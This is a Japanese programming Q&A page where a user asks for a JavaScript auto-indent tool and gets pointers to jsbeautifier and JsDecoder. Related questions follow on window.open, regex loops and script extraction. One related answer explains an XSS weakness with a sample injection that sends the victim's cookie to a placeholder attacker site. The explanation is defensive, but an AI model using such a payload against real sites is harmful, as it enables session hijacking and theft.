javaスクリプトのif文やループの中など、
タブで整頓してくれるツールはありますでしょうか。

出来れば、htmlの中に
<script>~記述している場合でも整頓できれば嬉しいのですが。

よろしくお願いします。

このQ&Aに関連する最新のQ&A

A 回答 (2件)

こういうのもあります。


http://jsbeautifier.org/
    • good
    • 0
この回答へのお礼

ありがとうございました。
整頓できました。

お礼日時:2009/05/29 10:13

JsDecoderを紹介します。



このツールはオンラインで動作しますが、必要であればダウンロード
することもできるみたいです。

また、インデントはタブではなく半角スペース4文字で行われます。
ですので、タブでインデントしたい場合には、半角スペース4文字を
タブひとつに置き換えないといけません。

参考URL:http://www.gosu.pl/JsDecoder/
    • good
    • 0
この回答へのお礼

ありがとうございました。
整頓できました。

お礼日時:2009/05/29 10:13

このQ&Aに関連する人気のQ&A

お探しのQ&Aが見つからない時は、教えて!gooで質問しましょう!

このQ&Aを見た人が検索しているワード

このQ&Aと関連する良く見られている質問

QJavaScriptのwindow.openでリファラーが取得できない。

<SCRIPT language="JavaScript">
<!--
function OpenWin(){
window.open("sample.cgi,"new","width=500,height=250");

}
// -->
<A href="#" onClick="OpenWin()">オープン</a>

上のようにsample.htmlのページ内にwindow.openのJavaScriptを書いています。
sample.cgi内に$ENV{'HTTP_REFERER'}を埋め込んでいるのですがリファラーが取得できません。
window.openの場合はリファラーは取得できないのでしょうか?

Aベストアンサー

リファラーは取得できませんので、わたしならJavaScriptでリファラーを取得してそれをCGIに渡します。。

<SCRIPT language="JavaScript">
<!--
function OpenWin(){
window.open("sample.cgi?ref=" + document.referrer, "new", "width=500,height=250");
}
// -->

後はsample.cgiの中で

use CGI qw(:standard);
$ref = param('ref');

とすれば$refにリファラーの値が入ります。

Qif~else ifの処理を配列とループを使用して記述したい

aのときはAの処理、bのときはBの処理、cのときはCの処理をを行い、ただし条件が真になったら以降の条件を判断しないといった処理(1)を、ループを用いて実現したいと考えております。
色々と試行錯誤したのですが(2)、なかなか実現することができず、困っております。
つきましては恐れ入りますが、正しい記述方法をご教授いただけないでしょうか。JAVAスクリプト全くの初心者ですが、何卒よろしくお願いいたします。


(1)
txt = "abcd";//判断対象文字列
data0=txt.match(/a[^\&\"]*d/im);
data1=txt.match(/a[^\S<>\&\"]*b/im);
data2=txt.match(/b[^\S<>\&\"]*c/im);

alert0="A";
alert1="B";
alert2="C";

//条件が合致しない時は警告を発し、合致する時には指定ページを表示します。
if (!data0) {alert(alert0)};
else if (!data1){alert(alert1)};
else if (!data2){alert(alert2)};
else location.href = "ok.htm";


以上の処理をループを用いて実現したいと考え、一応以下のように記述してみたのですが、動作しませんでした。また、条件が真になったら、以降の条件を判断しない方法も分かりません。何卒よろしくお願いいたします。


(2)
for(a=0;a<=2;a++){

var aler=new Array(2);
var data=new Array(2);

aler[0]=alert("A");
aler[1]=alert("B");
aler[2]=alert("C");

txt = "abcd";
data[0]="(/a[^\&\"]*d/im)";
data[1]="(/a[^\S<>\&\"]*b/im)";
data[2]="(/b[^\S<>\&\"]*c/im)";

if (!txt.match data[a]) {
aler[a];
}
else location.href = "ok.htm";
}

aのときはAの処理、bのときはBの処理、cのときはCの処理をを行い、ただし条件が真になったら以降の条件を判断しないといった処理(1)を、ループを用いて実現したいと考えております。
色々と試行錯誤したのですが(2)、なかなか実現することができず、困っております。
つきましては恐れ入りますが、正しい記述方法をご教授いただけないでしょうか。JAVAスクリプト全くの初心者ですが、何卒よろしくお願いいたします。


(1)
txt = "abcd";//判断対象文字列
data0=txt.match(/a[^\&\"]*d/im);
dat...続きを読む

Aベストアンサー

またまた失礼します。

すみません。 前回までのスクリプトの動作を確認してみたら、このままでは正規表現がうまく判定されないようでした。
正規表現の表記をそのまま配列内に入れて、.match()メソッドの引数としてその配列を利用した場合、必ずnull値が返ってきていたみたいです。 確認を怠って失礼しました。

それで、対策ですが、正規表現オブジェクトを作成して、それを.match()メソッドの引数として渡してやると良いようです。
その部分も修正したスクリプトの内容を書きますね。

var aler=new Array(2);
var data=new Array(2);

aler[0]="A";
aler[1]="B";
aler[2]="C";

txt = "abcd";
data[0]="a[^\&\"]*d"; //aで始まりdで終わっているか
data[1]="a[^\S<>\&\"]*b"; //aの次にbがきてるか
data[2]="b[^\S<>\&\"]*c";
/* 配列dataの中身は、パターンマッチの対象となる文字列を定義します。 正規表現のオプションは、正規表現オブジェクトの方で定義します。 */
n=0;

for(a=0;a<=2;a++){
regexp=new RegExp(data[a],"im");
/* 上記で正規表現オブジェクトを作成しています。 パターンの設定は配列dataの文字列を利用し、オプションとしてimを選択しています。 */

if (!txt.match(regexp)) {
/* 上の正規表現オブジェクトをmatch()の引数として利用します。 */
alert(aler[a]);
break;
}
else {
n++;
if (n==3){location.href = "ok.htm";}
}
}

これでうまく動くのではないかと思います。 一応こちらでは、txt内の文字列を変更してみて、動作することを確認しました。
たびたび失礼しました。

またまた失礼します。

すみません。 前回までのスクリプトの動作を確認してみたら、このままでは正規表現がうまく判定されないようでした。
正規表現の表記をそのまま配列内に入れて、.match()メソッドの引数としてその配列を利用した場合、必ずnull値が返ってきていたみたいです。 確認を怠って失礼しました。

それで、対策ですが、正規表現オブジェクトを作成して、それを.match()メソッドの引数として渡してやると良いようです。
その部分も修正したスクリプトの内容を書きますね。

var aler=new Ar...続きを読む

Q既知?IE7でJavaScriptのwindow.openメソッドでエラー

Internet Exploer7にアップデートされた端末において、以下のソースを実行し、「リンク」をクリックした場合、JavaScriptエラーが発生します。

<SCRIPT LANGUAGE="JAVASCRIPT">
<!--
function OpenWin() {
var win1=window.open("","コード");
win1.location.href="./test.html";
}


//-->
</SCRIPT>
<A HREF="JavaScript:OpenWin()">リンク</A>

色々と試した結果、window.openメソッドの第2引数(上記では"コード"となっている箇所)において、長音(ー)や感嘆符(!)など、記号のような文字を使用した場合、JavaScriptエラーの「引数が無効です」というエラーが表示されます。半角でも同様で、アンダーバー(_)以外の記号文字は大概エラーとなります。第2引数を"コド"のように、記号文字が入らないように記述しなおすと、エラーが発生しません。

この現象はIE6では発生しませんでした。

質問したいのは、この現象は既知のエラーとして伝えられているのでしょうか?ウェブ上で様々な検索をしても同様の現象は報告されていないので、端末固有の現象なのでしょうか?

使用OS:Windows XP SP2
IEバージョン:7.0.5730.11

宜しくお願い致します。

Internet Exploer7にアップデートされた端末において、以下のソースを実行し、「リンク」をクリックした場合、JavaScriptエラーが発生します。

<SCRIPT LANGUAGE="JAVASCRIPT">
<!--
function OpenWin() {
var win1=window.open("","コード");
win1.location.href="./test.html";
}


//-->
</SCRIPT>
<A HREF="JavaScript:OpenWin()">リンク</A>

色々と試した結果、window.openメソッドの第2引数(上記では"コード"となっている箇所)において、長音(ー)や感嘆符(!)...続きを読む

Aベストアンサー

検証してませんが、そのような属性(window名)にはSGMLやらで
の決まりがあるんで、2バイトは避けたほうがいいです。
推測ですがMS側でそれに気づいて7で修正したのでは?

Q内のコードの抽出方法

Ajaxで読み込んだHTML文書内にあるスクリプトのコードだけを
抽出したいのですが、正規表現を教えてください。
自分で考えてみたものは、以下の方法です。
これが最良なのかわかりません。
「スクリプトは複数箇所に存在しない」という条件で構いません。
宜しくお願いします。

var HTML = 'ここにHTML';
HTML.match(/.*<script.*>([\w\W]*)<\/script>.*/);
scr = RegExp.$1;
eval(scr);

Aベストアンサー

>改行が
ああそうか・・・ mフラグ付けると どう?
ダメなら [\s\S]* とか使う事になると思うけど・・・

Qwindow.openで開いた子ウィンドウから親ウィンドウのjavascriptを実行するには

window.openで開いた子ウィンドウから親ウィンドウのjavascriptを実行するにはどうしたらよいのでしょうか。

子ウィンドウから
<INPUT TYPE="button" value=\"実行\" onClick=opener.document.jikkou();>

<INPUT TYPE="button" value=\"実行\" onClick=opener.jikkou();>
等のボタンを作ってみましたが、無反応でした。

すいません。宜しくお願いします。

Aベストアンサー

普通に実行できると思いますが・・・

//parent.htm
<script>
function jikkou(){
alert("ok");
}
</script>
<input type="button" value="open child" onclick="window.open('child.htm')">

//child.htm
<input type="button" value="jikkou" onclick="opener.jikkou()">

Q 要素の内

▽安全なウェブサイトの作り方
  http://www.ipa.go.jp/security/vuln/documents/website_security.pdf

><script>...</script> 要素の内容を動的に生成しない
>ウェブページに出力する<script>...</script>要素の内容が、外部からの入力に依存する形で動的に生成される場合、任意のスクリプトが埋め込まれてしまう可能性があります

・P25で上記のように書かれているのですが、理解できません(何故ここだけ動的生成してはいけないのか等)
・具体的にどのようにして埋め込まれる恐れがあるのでしょうか?
・またここで書いている内容は、下記何れを指しているのでしょうか?
・ココカラ<script>...</script>ココマデ
・<script>ココカラ...ココマデ</script>

Aベストアンサー

攻撃の容易性でしょう。

この脆弱性を付く攻撃をする際に一番苦労するのが <script> をどうやって埋め込むかです。これは入力内容のエスケープ処理で大体は塞がれてしまうのですが、<script> 要素内に直接埋めこめられるならその問題が無いので、かなり攻撃しやすいサイトとなります。

埋め込み方法ですが、以下の様な生成をするサイトの場合なら

入力内容: 太郎
出力内容: <script>alert('こんにちは太郎さん')</script>

そのサイト内で使用している cookie 内容を盗聴するために、以下のように攻撃できます。

入力内容: ');window.location='http://攻撃サイト/'+document.cookie;a=('
出力内容: <script>alert('こんにちは');window.location='http://攻撃サイト/'+document.cookie;a=('さん')</script>

引用符のエスケープ処理で塞がれるかもしれませんが、それでも対処できる余地はあります。

Qjavascript window.open

javascript window.open を使ってウインドを開こうとしています。

トップウインドとしてデスクトップに表示したいのですが、二重三重には
表示したくないため、同じウインド名で既に開こうとしています。

この場合、最小化や隠れて開いているウインドは隠れたままです。

同名ウインドが開いていても、そのウインドをトップウインドとしてデスクトップに
表示させる方法を教えてください。

よろしくお願いします。

Aベストアンサー

var w = window.open(url, name);
w.focus();

とかではいかがでしょうか?

Q「script」は台本という意味ですがjava scriptはjavaの台本?

よろしくお願いします。
javaとjava scriptは全く別物と聞きますが
そうであれば何故javaの台本という名前なのでしょうか?

「script」は台本とは別の意味なのでしょうか?

全くの素人です。ご教授よろしくお願いします

Aベストアンサー

人気上昇中のjavaの名前にあやかったscript言語。

スクリプト言語の由来はたぶん、台本じゃなくて脚本だと思います。

今ではほとんどのスクリプト言語に出来る事が増えすぎて、
脚本と呼べるほど単調な流れのプログラムだけでなく、様々なプログラムに使われるようになったため、
スクリプト言語という分類は意味をなさなくなったと思います。
(スクリプト言語に対する分類はおそらく「記述言語」、CやPascalなど)


人気Q&Aランキング

おすすめ情報